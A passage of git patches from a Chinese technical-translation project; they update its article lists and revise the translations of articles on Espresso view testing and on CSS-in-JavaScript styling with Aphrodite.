-掘金翻译计划目前翻译完成 [479](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [480](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
-* [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index ca358bbcfb6..1003c4e3da8 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)

From 5943ba67868b9d82ec4626cd1a2320cbfb1a8a59 Mon Sep 17 00:00:00 2001
From: AngryD <yazhi1992@163.com>
Date: Sat, 29 Apr 2017 09:41:14 +0800
Subject: [PATCH 293/638] Update testing-views-in-isolation-with-espresso.md

---
 ...esting-views-in-isolation-with-espresso.md | 44 +++++++++----------
 1 file changed, 21 insertions(+), 23 deletions(-)

diff --git a/TODO/testing-views-in-isolation-with-espresso.md b/TODO/testing-views-in-isolation-with-espresso.md
index 77dde884ee5..1bc0345f1d1 100644
--- a/TODO/testing-views-in-isolation-with-espresso.md
+++ b/TODO/testing-views-in-isolation-with-espresso.md
@@ -2,21 +2,21 @@
 > * 原文作者：[Ataul Munim](https://www.novoda.com/blog/author/ataulm/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[yazhi1992](https://github.com/yazhi1992)
-> * 校对者：
+> * 校对者：[lovexiaov](https://github.com/lovexiaov), [Phoenix](https://github.com/wbinarytree)
 
 # 使用 Espresso 隔离测试视图 #
 
-在这篇文章里，我将会告诉你为何并且如何使用 Espresso 在真机上测试你的自定义视图。
+在这篇文章里，我将会告诉你为何并且如何使用 Espresso 在 Android 设备上测试你的自定义视图。
 
 你可以使用 Espresso 来一次性测试所有界面或流程。这些测试用例会启动某个页面，并像用户一般执行操作，包括等待数据的加载或跳转到其他页面。
 
-这样做是非常有用的，因为你需要端到端的测试用例来验证常见的用户使用流程。这些自动化测试应该定期地执行，从而确保你有足够的 QA 时间进行探索性测试。
+这样做是非常有用的，因为你需要端到端的测试用例来验证常见的用户使用流程。这些自动化测试应该定期地执行，从而可以节约手工 QA 的时间来进行探索性测试。
 
 即便如此，这些不是可以频繁运行的测试。运行一整套可能会花费数小时的时间（想象一下验证媒体内容的脱机同步），所以你可以选择在夜间运行它们。
 
-这很困难，因为这些类型的测试包含了多个潜在的故障点。理论上来说，当某个测试失败时，你会希望它是由于单个逻辑断言而导致的。
+这很困难，因为这些类型的测试包含了多个潜在的故障点。理想情况是，当某个测试失败时，你会希望它是由于单个逻辑断言而导致的。
 
-大多数（或者说很多）被引入的问题是出现在 UI 中的。这些问题很可能是十分细微的，以至于我们在添加新特性时并不会注意到，但是敏锐的 QA 团队却往往可以。
+大多数（或者说很多）可以引入的回归测试点都在 UI 上。这些问题很可能是十分细微的，以至于我们在添加新特性时并不会注意到，但是敏锐的 QA 团队却往往可以。
 
 这样就浪费太多时间了。
 
@@ -50,46 +50,46 @@ public class MovieItemView extends RelativeLayout {
 他们将 UI 的逻辑部分组合在一起，并且通常还包含来自业务领域的命名规范。在
  Novoda 的页面布局中你很少会看到“原始”的 Android 视图。
 
-让我们使用 BDD 风格来编写这些视图测试（译者注：BDD（Behaviour Driven Development）是TDD的一种，倾向于断言被测对象的行为特征而非输入输出），比如“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，然后标题就被设置成 Edward Scissorhands”或者“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，当点击视图时，onClick(Edward Scissorhands) 就会被调用”，等等。
+让我们使用 BDD 风格来编写这些视图测试，比如“当 MovieItemView 被绑定到 Edward Scissorhands 上，标题就被设置成 Edward Scissorhands”或者“MovieItemView 被绑定到 Edward Scissorhands 上，当点击视图时，onClick(Edward Scissorhands) 就会被调用”，等等。（译者注：BDD（Behaviour Driven Development），倾向于断言被测对象的行为特征而非输入输出。一个典型的 BDD 的测试用例包活完整的三段式上下文，测试大多可以翻译为 `Given-When-Then` 的格式，即某种场景下，发生了事件，导致了什么结果。）
 
 ## 难道不能使用单元测试来捕获这些问题吗？ ##
 
-如果使用了 MVP 或者 MVVM 等表现模式，为什么还需要 Espresso 来运行这些测试呢？为何不直接使用单元测试？
+如果你正在使用像 MVP 或者 MVVM 这样可被单元测试的表现模式，为什么还需要 Espresso 来运行这些测试呢？
 
 首先，让我们来看一下展示信息的流程并且描述一下目前所能做的测试，然后再看看使用 Espresso 测试能多做些什么。
 
 - Presenters 订阅发送事件的数据生成器
 
-- 事件可以是‘加载’，‘空闲’或‘错误’，并且可能带有要展示的数据
+- 事件可以处于`加载中`，`空闲`或`错误`状态，并且可能带有要展示的数据
 
-- Presenters 将使用`display（List <Movie>）`，`displayCachedDataWhileLoading（List <Movie>）`或`displayEmptyScreen（）`等方法将这些事件转发给“displayers”（MVP中的“View”）。
+- Presenters 将使用 `display(List<Movie>)`，`displayCachedDataWhileLoading(List<Movie>)` 或 `displayEmptyScreen()` 等方法将这些事件转发给“displayers”（MVP 中的“View”）。
 
-- displayers 的具体实现将显示/隐藏 Android 视图，并执行诸如`moviesView.bind（List <Movie>） `之类的操作
+- displayers 的具体实现类将显示/隐藏 Android 视图，并执行诸如 `moviesView.bind(List<Movie>)` 之类的操作
 
 你可以对 presenters 进行单元测试，验证是否调用了 displayers 正确的方法并且带有正确的参数。
 
-你可以用相同的方式测试 displayers 吗？是的，你是可以模拟 Android 视图，并验证是否调用了正确的方法。但它不会是正确的粒度：
+你可以用相同的方式测试 displayers 吗？是的，你是可以模拟 Android 视图，并验证是否调用了正确的方法。但这样的粒度并不是我们想要的：
 
 - displayer 可能确实构建或更新了 RecyclerView 或 ViewPager 适配器，但这并不代表显示了正确的内容。
 
--  Android 视图是通过在代码中加载 XML（布局和样式）设置的；验证方法的调用不足以断言显示的内容是否正确
+- Android 视图是通过在代码中加载 XML（布局和样式）设置的；验证方法的调用不足以断言显示的内容是否正确
 
 ## 设置测试用例 ## 
 
-就从使用 [`espresso-support`](https://github.com/novoda/spikes/tree/master/espresso-support)  这个库开始吧。
+就从使用 [`espresso-support`](https://github.com/novoda/spikes/tree/master/espresso-support) 这个库开始吧。
 
-在你的 build.gradle （JCenter 可用）里添加依赖
+在你的 build.gradle（JCenter 可用）里添加依赖
 
 ```
 debugCompile 'com.novoda:espresso-support-extras:0.0.3'  
 androidTestCompile 'com.novoda:espresso-support:0.0.3'
 ```
 
-`extras` 依赖包中包含了 `ViewActivity`，在测试时需要将其添加到你的应用中。你可以在该界面保存想要使用 Espresso 测试的视图。
+`extras` 依赖包中包含了 `ViewActivity`，在测试时需要将其添加到你的应用中。你可以在该 Activity 持有想要使用 Espresso 测试的单一视图。
 
 核心部分（包含自定义测试规则）只需要作为 `androidTest` 依赖中的一部分。
 
-`ViewTestRule` 使用方法与 `ActivityTestRule` 类似。只不过是将传递的参数从想要启动的Activity类替换成了包含你想要测试的视图的布局文件：
+`ViewTestRule` 使用方法与 `ActivityTestRule` 类似。只不过是将传递的参数从想要启动的 Activity 类替换成了包含你想要测试的视图的布局文件：
 
 ```
 @RunWith(AndroidJUnit4.class)publicclassMovieItemViewTest{  
@@ -98,9 +98,9 @@ androidTestCompile 'com.novoda:espresso-support:0.0.3'
   ...
 ```
 
-你可以使用 `ViewTestRule <MovieItemView>` 指定根布局的视图类型。
+你可以使用 `ViewTestRule<MovieItemView>` 指定根布局的视图类型。
 
-`ViewTestRule` 继承了 `ActivityTestRule <ViewActivity>`，所以它总会打开 `ViewActivity`。 `getActivityIntent（）` 被重写了，所以你可以像使用 Intent 一样将 `R.layout.test_movie_item_view` 传递给`ViewActivity` 。
+`ViewTestRule` 继承了 `ActivityTestRule<ViewActivity>`，所以它总会打开 `ViewActivity`。 `getActivityIntent()` 被重写了，所以你可以将 `R.layout.test_movie_item_view` 作为 Intent 的附加数据传递给 `ViewActivity`。
 
 你可以在测试中使用 Mockito 代替回调函数。
 
@@ -119,7 +119,7 @@ publicvoidsetUp(){
  }
 ```
 
-ViewTestRule 有一个方法 `bindViewUsing（Binder）`，该方法会返回视图的引用，以便你与之进行交互。当你使用 `viewTestRule.getView（）` 直接访问视图时，你会希望与视图的所有交互都是在主线程上执行的，而非测试线程。
+ViewTestRule 有一个 `bindViewUsing(Binder)` 方法，该方法会返回视图的引用，以便你与之进行交互。当你使用 `viewTestRule.getView()` 直接访问视图时，你会希望与视图的所有交互都是在主线程上执行的，而非测试线程。
 
 ```
 @Before
@@ -143,8 +143,7 @@ public void setUp() {
 
 - 响应用户的操作
 
-要为这两种情况编写测试，你可以先从使用标准的 Espresso ViewMatchers 和 ViewAssertions
- 语句断言是否显示正确的信息开始：
+要为这两种情况编写测试，你可以先从使用标准的 Espresso ViewMatchers 和 ViewAssertions 语句断言是否显示正确的信息开始：
 
 ```
 @Test
@@ -169,8 +168,7 @@ public void clickMovieItemView() {
 
 到这里就完成了，希望这些知识对你有用。
 
-在接下来的文章里，我会介绍如何使用 Espresso 测试视图时支持 TalkBack 服务（译者注：Talkback
- 是一款由谷歌官方开发的系统工具软件，它的定位是帮助盲人或者有视力障碍的用户提供语言辅助）。
+在接下来的文章里，我会介绍如何使用 Espresso 测试视图时支持 TalkBack 服务（译者注：Talkback 是一款由谷歌官方开发的系统工具软件，它的定位是帮助盲人或者有视力障碍的用户提供语言辅助）。
 
 ---
 

From 094f4b1b63291d80b4b00bbc09addcb858e01b0d Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sat, 29 Apr 2017 17:30:07 +0800
Subject: [PATCH 294/638] translation done

---
 ...t-the-future-of-component-based-styling.md | 128 ++++++++----------
 1 file changed, 58 insertions(+), 70 deletions(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index ef3c032d366..595ab2ded82 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -10,27 +10,17 @@
 
 图片所属 [@jonathanzwhite](https://twitter.com/JonathanZWhite)
 
-> By adopting inline styles, we can get all of the programmatic affordances of JavaScript.This gives us the benefits of something like a CSS pre-processor (variables, mixins, and functions). It also solves a lot of the problems that CSS has, such as global namespacing and styling conflicts.
+使用行内样式使我们可以获得 JavaScript 的所有编程支持。这让我们获得类似 CSS 预处理器（变量、混入和函数）的好处，它也解决了 CSS 的很多问题，如全局命名空间和样式冲突。
 
-使用行内样式使我们可以获得 JavaScript 的所有编程支持。这给了我们类似 CSS 预处理器（变量、混入和函数）的好处。它也解决了 CSS 的很多问题，如全局命名空间和样式冲突。
+如果想要更深入了解 JavaScript 中的 CSS 所解决的问题，可以查看著名的演示幻灯：[React：JS 中的 CSS](https://speakerdeck.com/vjeux/react-css-in-js)。有关使用 Aphrodite 性能优化的案例研究，你可以阅读 [行内 CSS 在可汗学院：Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm)。如果你想了解更多，可以阅读 [Airbnb 的风格指南](https://github.com/airbnb/javascript/tree/master/css-in-javascript)。
 
-> For a deep dive into the problems that CSS in JavaScript solves, check out the famous presentation: [React CSS in JS](https://speakerdeck.com/vjeux/react-css-in-js). For a case study on the performance improvements you get from Aphrodite, you can read [Inline CSS at Khan Academy: Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm). If you want to learn more about CSS in JavaScript best practices, check out [Airbnb’s styleguide](https://github.com/airbnb/javascript/tree/master/css-in-javascript).
-
-如果想要更深入了解 JavaScript 中的 CSS 所解决的问题，可以查看著名的演示幻灯：[React CSS in JS](https://speakerdeck.com/vjeux/react-css-in-js)。有关使用 Aphrodite 性能优化的案例研究，你可以阅读 [行内 CSS 在可汗学院：Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm)。如果你想了解更多，可以阅读 [Airbnb 的风格指南](https://github.com/airbnb/javascript/tree/master/css-in-javascript).
-
-> In addition we’ll be using inline JavaScript styles to build components to address some of the fundamentals of design I covered in one of my previous articles: [Before you can master design, you must first master the fundamentals](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda).
-
-此外，我们将使用行内 JavaScript 样式来构建组件，以解决我之前的一篇文章（[掌握设计之前，必须掌握基本原理](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda)）中涉及的一些设计基础问题。
+此外，我们将使用行内 JavaScript 样式来构建组件，以解决我之前的一篇文章（[掌握设计之前，必须掌握基本原理](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda)）中涉及的一些基础设计问题。
 
 ### 一个启发性的例子 ###
 
-> Let’s start off with a simple example: creating and styling a button.
-
-让我们从一个简单的例子开始，构建一个按钮并给它添加样式。
+让我们从一个简单的例子开始：构建一个按钮并给它添加样式。
 
-> Normally the component and its associated styles would go in the same file: `Button` and `ButtonStyles`. This is because they fall under the same concern: the view. However, for this example, I broke up the code into multiple gists to make it more digestible.
-
-一般来说，组件及其样式在同一个文件中：`Button` 和 `ButtonStyles`。这是因为他们都属于视图层。但是，下面的例子中，我将代码拆分成多个 gist，以便更容易理解。
+一般来说，组件及其样式在同一个文件中：`Button` 和 `ButtonStyles`。这是因为他们都属于视图层。但是，下面的例子中，我将代码拆分成多个代码片段，以便更容易理解。
 
 下面就是按钮组件：
 
@@ -48,9 +38,7 @@ function Button(props) {
 }
 ```
 
-> This is nothing unexpected — just a stateless React component. Where Aphrodite comes into play is in the `className` property. The function `css` takes in a `styles` object and converts it into css. The `styles` object is created with Aphrodite’s `StyleSheet.create({ ... })` function. You can see the output of `StyleSheet.create({ ... })` with this [Aphrodite playground](https://output.jsbin.com/qoseye?).
-
-这没什么特别的，只是一个无状态的 React 组件。Aphrodite 起作用的地方是在 `className` 属性中。`css` 函数接受一个 `styles` 对象为参数并将其转换为 `css`。`styles` 对象是由 Aphrodite 的函数 `StyleSheet.create({ ... })` 创建的，你可以用 [Aphrodite playground](https://output.jsbin.com/qoseye?) 来看下这个函数的输出结果。
+它没什么特别的，只是一个无状态的 React 组件。Aphrodite 起作用的地方是在 `className` 属性中。`css` 函数接受一个 `styles` 对象为参数并将其转换为 `css`。`styles` 对象是由 Aphrodite 的函数 `StyleSheet.create({ ... })` 创建的，你可以用 [Aphrodite playground](https://output.jsbin.com/qoseye?) 来查看这个函数的输出结果。
 
 **下面是按钮的样式表：**
 
@@ -73,27 +61,23 @@ const styles = StyleSheet.create({
 });
 ```
 
-> One of the benefits of Aphrodite is that migration is straightforward and the learning curve is low. Properties like `border-radius` become `borderRadius` and values become strings. Pseudo-selectors, media queries, and font definitions all work. In addition, vendor prefixes are added automatically.
-
-Aphrodite 的优势之一就是迁移是很直观的，学习曲线很平缓。类似 `border-radius`  变成 `borderRadius`，值变成字符串。伪类选择器、媒体查询、字体定义都可以正常工作。另外也自动添加浏览器引擎前缀。
+Aphrodite 的优势之一是迁移很直观，学习曲线较平缓。类似 `border-radius`  变成 `borderRadius`，值变成字符串，伪类选择器、媒体查询、字体定义都可以正常工作。另外也可以自动添加浏览器引擎前缀。
 
 **下面就是按钮的样子：**
 
 ![](https://cdn-images-1.medium.com/max/800/1*x1ccRv9UGvcxBvz4TvC4Qg.png)
 
-> With this example in mind, **let’s take a look at how we can use Aphrodite to build a basic visual design system**, focusing on the following design fundamentals: typography and spacing.
-
-以这个例子为基础，**让我们来看看我们如何使用 Aphrodite 来构建一个基本的视觉设计系统**，着重关注字体排版和间距两个设计基础元素。
+以这个例子为基础，**让我们来看看如何使用 Aphrodite 来构建一个基本的视觉设计系统**，着重关注排版和间距两个设计基础元素。
 
-### Fundamental №1 —Typography ###
+### 设计基础第一部分：排版 ###
 
-Let’s start off with typography, a fundamental basis for design. **The first step is to define typography constants**. And unlike Sass or Less, constants for Aphrodite can go in a JavaScript or JSON file.
+我们先从排版开始，这是设计基础要素。**第一步是定义排版常数**。与 Sass 及 Less 不一样，Aphrodite 的常数可以直接放在 JavaScript 中或 JSON 文件中。
 
-#### Define typography constants
+#### 定义排版常数
 
-When creating constants, **use semantic names for your variables**. For example, instead of naming one of your font-sizes `h2`, use a name like `displayLarge` that describes its *role*. Similarly, for font-weights, instead of naming one of your weights `600`, give it a name like `semibold` to describe its *effect*.
+在定义常量时，**使用语义化的变量名**。例如，在给字体大小命名时，不要使用 `h2`，使用 `displayLarge` 描述它的作用。类似的，不要给字体权重命名 `600`，使用 `semibold` 描述它的效果。
 
-```
+```javascript
 export const fontSize = {
   // heading
   displayLarge: '32px',
@@ -136,21 +120,21 @@ export const lineHeight = {
 };
 ```
 
-It’s important to get the values right for variables like font-sizes and line-heights. This is because they directly affect the vertical rhythm within a design. Vertical rhythm is a concept that helps you achieve consistent spacing between elements.
+设置正确的字体大小和行高变量的值是很重要的。这是因为他们直接影响了设计的垂直规律。垂直规律是一个能帮助你实现一致的元素间距的概念。
 
-For more on vertical rhythm, you can read this article: [Why is Vertical Rhythm an Important Typography Practice?](https://zellwk.com/blog/why-vertical-rhythms/)
+想要了解更多有关垂直规律的内容，你可以阅读这篇文章：[为什么垂直规律对排版实践很重要？](https://zellwk.com/blog/why-vertical-rhythms/)
 
 ![](https://cdn-images-1.medium.com/max/800/1*Ehj9XMvQ9wJNhxWNqwXfKw.png)
 
-[Use a calculator to determine line-heights](https://drewish.com/tools/vertical-rhythm/)
+[上图：行高计算器](https://drewish.com/tools/vertical-rhythm/)
 
-There is a science behind choosing the values for your line-heights and font-sizes. We can use mathematic ratios to generate a set of potential sizes candidates. A few weeks ago, I wrote an article detailing the methodology: [Typography can make or break your design: a process for choosing type](https://medium.freecodecamp.com/typography-can-make-your-design-or-break-it-7be710aadcfe). For determining font-sizes, you use [Modular Scale](http://www.modularscale.com/). For determining line-heights, you can use this [vertical rhythm calculator](https://drewish.com/tools/vertical-rhythm/).
+选择行高以及字体大小的背后是有科学原理的。我们可以使用比率生成一组可能的值。几周前，我写了一篇文章，详细地介绍了方法细节（[排版可以成就设计，也可以毁了设计](https://medium.freecodecamp.com/typography-can-make-your-design-or-break-it-7be710aadcfe)）。你可以使用 [Modular Scale](http://www.modularscale.com/) 确定字体大小，使用 [vertical rhythm calculator](https://drewish.com/tools/vertical-rhythm/) 计算行高。
 
-#### Define a heading component ####
+#### 定义标题组件 ####
 
-After defining our typography constants, the next step is to create a component to consume the values. **The goal of the component is to enforce consistency in design and implementation for headings across the codebase.**
+定义好了排版常量后，下一步就是使用它们创建一个组件。**这个组件的目标是对整个代码库中的标题实现一致的设计**。
 
-```
+```javascript
 import React, { PropTypes } from 'react';
 import { StyleSheet, css } from 'aphrodite/no-important';
 import { tagMapping, fontSize, fontWeight, lineHeight } from '../styles/base/typography';
@@ -191,9 +175,9 @@ export const styles = StyleSheet.create({
  }); 
 ```
 
-The `Heading` component is a stateless function that takes in a tag as a property and returns the tag with its associated style. This is possible because we defined the tag mappings earlier in the constants file.
+`Heading` 组件是一个无状态的函数，接收一个标签作为属性，并返回这个标签连带它的样式。我们在前面的常量中定义了标签映射，所以这是可行的。
 
-```
+```javascript
 ...
 export const tagMapping = {
   h1: 'displayLarge',
@@ -204,9 +188,9 @@ export const tagMapping = {
 };
 ```
 
-At the bottom of the component file, we define our `styles` object. This is where we use the typography constants.
+在组件文件的下方我们定义了 `styles` 对象，我们就是在此处使用排版常量的。
 
-```
+```javascript
 export const styles = StyleSheet.create({
   displayLarge: {
     fontSize: fontSize.displayLarge,
@@ -218,9 +202,9 @@ export const styles = StyleSheet.create({
 });
 ```
 
-And this is how the `Heading` component would be used:
+`Heading` 组件是这样调用的：
 
-```
+```javascript
 function Parent() {
   return (
     <Heading tag="h2">Hello World</Heading>
@@ -228,17 +212,19 @@ function Parent() {
 }
 ```
 
-With this approach, **we reduce unexpected variability in our type system**. We avoid the pitfall of a hundred different font sizes by removing the need for global styles and standardizing headings across the codebase. In addition, this approach we took to building the `Heading` component can be applied to building a `Text` component for body copy.
+通过这种方法，**我们可以减少类型的意外变化**。通过取消全局样式以及标准化标题，我们避免了上百种字体大小的问题。此外，这种方法还可以应用于构建 `Text` 组件。
 
-### Fundamental №2 — Spacing ###
+### 设计基础第二部分：间距 ###
 
-**Spacing controls both vertical and horizontal rhythm in design**. That makes spacing pivotal to establishing a visual design system. Just like in the typography section, the first step to address spacing is to define spacing constants.
+**间距同时控制着设计中的垂直与水平规律**。所以间距对建立视觉设计系统至关重要。和排版部分一样，第一步也是设定间距常量。
 
-#### Define spacing constants ###
+#### 定义间距常量 ###
 
-When defining spacing constants for the margins between elements, we can adopt a mathematic approach. Using a `spacingFactor` constant, we can generate a set of distances based on a common factor. **This approach ensures that we have logical and consistent spacing between elements.**
+> When defining spacing constants for the margins between elements, we can adopt a mathematic approach. Using a `spacingFactor` constant, we can generate a set of distances based on a common factor. **This approach ensures that we have logical and consistent spacing between elements.**
 
-```
+当为元素之间的 margin 定义间距常量时，我们可以采取一种数学方法。使用一个 `spacingFactor` 常量来生成一组距离。**这种方法确保元素之间的间距是有逻辑并且一致的**。
+
+```javascript
 const spacingFactor = 8;
 export const spacing = {
   space0: `${spacingFactor / 2}px`,  // 4
@@ -255,7 +241,9 @@ export const spacing = {
 };
 ```
 
-The example above uses a linear scale, one to thirteen. However, experiment with different scales and ratios. Designs require different scales based on their purpose, their audience, and the devices they target. As an example,** here are the first six computed distances using the golden ratio** with a `spacingFactor` of eight.
+> The example above uses a linear scale, one to thirteen. However, experiment with different scales and ratios. Designs require different scales based on their purpose, their audience, and the devices they target. As an example,**here are the first six computed distances using the golden ratio**  with a `spacingFactor` of eight.
+
+上面的例子采用了线性关系，从 1 到 13。不管怎样，多试验几种不同的尺度和比例的搭配才能找到合适的方案。目的、受众、目标设备的不同都需要在设计时考虑。**下面是使用黄金比率计算出来的前 6 个距离**，以 8 个 `spacingFactor` 为例。
 
     Golden Ratio (1:1.618)
 
@@ -266,9 +254,11 @@ The example above uses a linear scale, one to thirteen. However, experiment with
     8.0 x (1.618 ^ 4) = 54.82
     8.0 x (1.618 ^ 5) = 88.71
 
-This is what the spacing scale would look like in code. I added a helper function to handle the computation and round off the output to its nearest pixel value.
+> This is what the spacing scale would look like in code. I added a helper function to handle the computation and round off the output to its nearest pixel value.
 
-```
+下面是在代码中如何写间距比例。我添加了一个帮助处理间距计算结果的函数，它会返回其最近的像素值。
+
+```javascript
 const spacingFactor = 8;
 export const spacing = {
   space0: `${computeGoldenRatio(spacingFactor, 0)}px`,  // 8
@@ -284,11 +274,11 @@ function computeGoldenRatio(spacingFactor, exp) {
 }
 ```
 
-After defining our spacing constants, we can use them to add margins to elements in our design. **One approach we can take is to import the spacing constants and consume them in components**.
+定义好常量后，我们就可以用它们给元素添加间距。**一种方法就是在组件中 import**。
 
-For example, let’s add a `marginBottom` to the `Button` component.
+例如，下面我们给 `Button` 组件添加 `marginBottom`。
 
-```
+```javascript
 import { spacing } from '../styles/base/spacing';
 
 ...
@@ -301,11 +291,11 @@ const styles = StyleSheet.create({
 });
 ```
 
-This works in most scenarios. However, what happens if we want to change the `marginBottom` property of the button based on where the button is place?
+多数情况下这都是有效的。但是如果我们想要根据按钮的位置来修改它的 `marginBottom` 属性呢？
 
-One way to achieve variable margins is to override the margin style from the consuming parent component. An alternative approach is to **create a **`Spacing`**component to control the vertical margins on elements**.
+实现可变边距的一种方法是覆盖从父组件继承的样式。另一种方法是**创建一个 **`Spacing` **组件来控制元素的垂直边距**。
 
-```
+```javascript
 import React, { PropTypes } from 'react';
 import { spacing } from '../../base/spacing';
 
@@ -324,15 +314,15 @@ function Spacing(props) {
 export default Spacing;
 ```
 
-Using this approach, we can remove the responsibility of setting margins out of the child component and into the parent component. **This way, the child component becomes layout agnostic, not requiring any knowledge of where to place itself in relation to other elements.**
+这种方法可以将设置边距的任务从子组件转移到父组件上。**这样，子组件变成了对布局无感知的组件，它不需要知道自己将被放置在何处以及与其他元素的关联**。
 
-This works because components like buttons, inputs, and cards may need variable margins. For example, a button in a form may need larger margins than a button in a navigation bar. The caveat is that if a component always has consistent margins, then it would make more sense to handle margins within the component.
+由于按钮、输入框、卡片等组件可能需要可变的间距，所以这种方法是有效的。例如，表单中的按钮可能比导航栏的按钮需要更大的边距。需要注意的是，如果一个组件始终具有一致的边距，那么在组件内部处理边距更好。
 
-Also you may have noticed that the examples only use `marginBottom`. This is because **defining all your vertical margins in one direction allows you avoid collapsing margins and keep track of the vertical rhythm of your design**. You can read more on this in Harry Robert’s article, [Single-direction margin declarations](https://csswizardry.com/2012/06/single-direction-margin-declarations/).
+你可能注意到前面的例子中只使用了 `marginBottom` ，这是因为**在一个方向定义所有的垂直边距可以避免边距合并，并能跟踪垂直规律**。你可以从 Harry Robert 的文章 [单向边距声明](https://csswizardry.com/2012/06/single-direction-margin-declarations/) 中了解更多这方面知识。
 
-On a final note, you can also use the spacing constants you defined as padding.
+最后，你还可以使用间距常量来定义 padding。
 
-```
+```javascript
 import React, { PropTypes } from 'react';
 import { StyleSheet, css } from 'aphrodite/no-important';
 import { spacing } from '../../styles/base/spacing';
@@ -358,21 +348,19 @@ export const styles = StyleSheet.create({
 });
 ```
 
-By using using the same spacing constants for both margins and padding, you can achieve more visual consistency in your design.
+对 margin 和 padding 使用相同的间距常量，可以在设计中实现更好的视觉一致性。
 
-Here’s what the result might look like:
+结果可能大致如下：
 
 ![](https://cdn-images-1.medium.com/max/800/1*oDkbVmgCJ4ss5fuRNvzoUg.png)
 
-[By using spacing constants for your margins and padding, you can achieve more visual consistency.](https://twitter.com/JonathanZWhite)
-
-Now that you have a grasp of CSS in JavaScript, go out and experiment. Try incorporating inline JavaScript styles into your next project. I think **you’ll appreciate being able to work in a single context to handle all of your styling and view concerns**.
+现在你已经大致了解了 JavaScript 中的 CSS 了，去试验一下吧。尝试在下个项目中采用行内 JavaScript 样式吧。我想**你会喜欢上能够在同一个上下文中处理所有样式及视图问题的感觉**。
 
-On the topic of CSS and JavaScript, what are some new developments that you’re excited about? Personally I’m excited about async/await. Leave me a note or send me a [tweet](https://twitter.com/jonathanzwhite) on Twitter.
+有关 CSS 和 JavaScript 的主题中，你对什么新的发展感兴趣呢？我个人对 async/await 非常感兴趣。给我留言或者在  [Twitter](https://twitter.com/jonathanzwhite) 上发信息给我吧。
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
+你可以在 Medium 上找到我，我每周都会发布一篇文章。你也可以在 [Twitter](https://twitter.com/jonathanzwhite) 上关注我，我会在那里发布一些有关设计、前端开发和虚拟现实的随笔。
 
-*P.S. If you enjoyed this article, it would mean a lot if you clicked the 💚 and shared with friends.*
+*如果你喜欢这篇文章，欢迎给我点赞 ❤ 并分享给朋友，非常感谢！*
 
 [![](https://cdn-images-1.medium.com/max/600/1*mxQhZLqG7l5dMLvxYAklgw.png)](http://mrwhite.space/signup)
 

From a0972cad285c4abf6ecc79f1751cf72f390ef4ea Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 29 Apr 2017 18:34:29 +0800
Subject: [PATCH 295/638] Update code-comments-the-good-the-bad-and-the-ugly.md

---
 TODO/code-comments-the-good-the-bad-and-the-ugly.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/code-comments-the-good-the-bad-and-the-ugly.md b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
index 9924620abc2..38d02db3bbd 100644
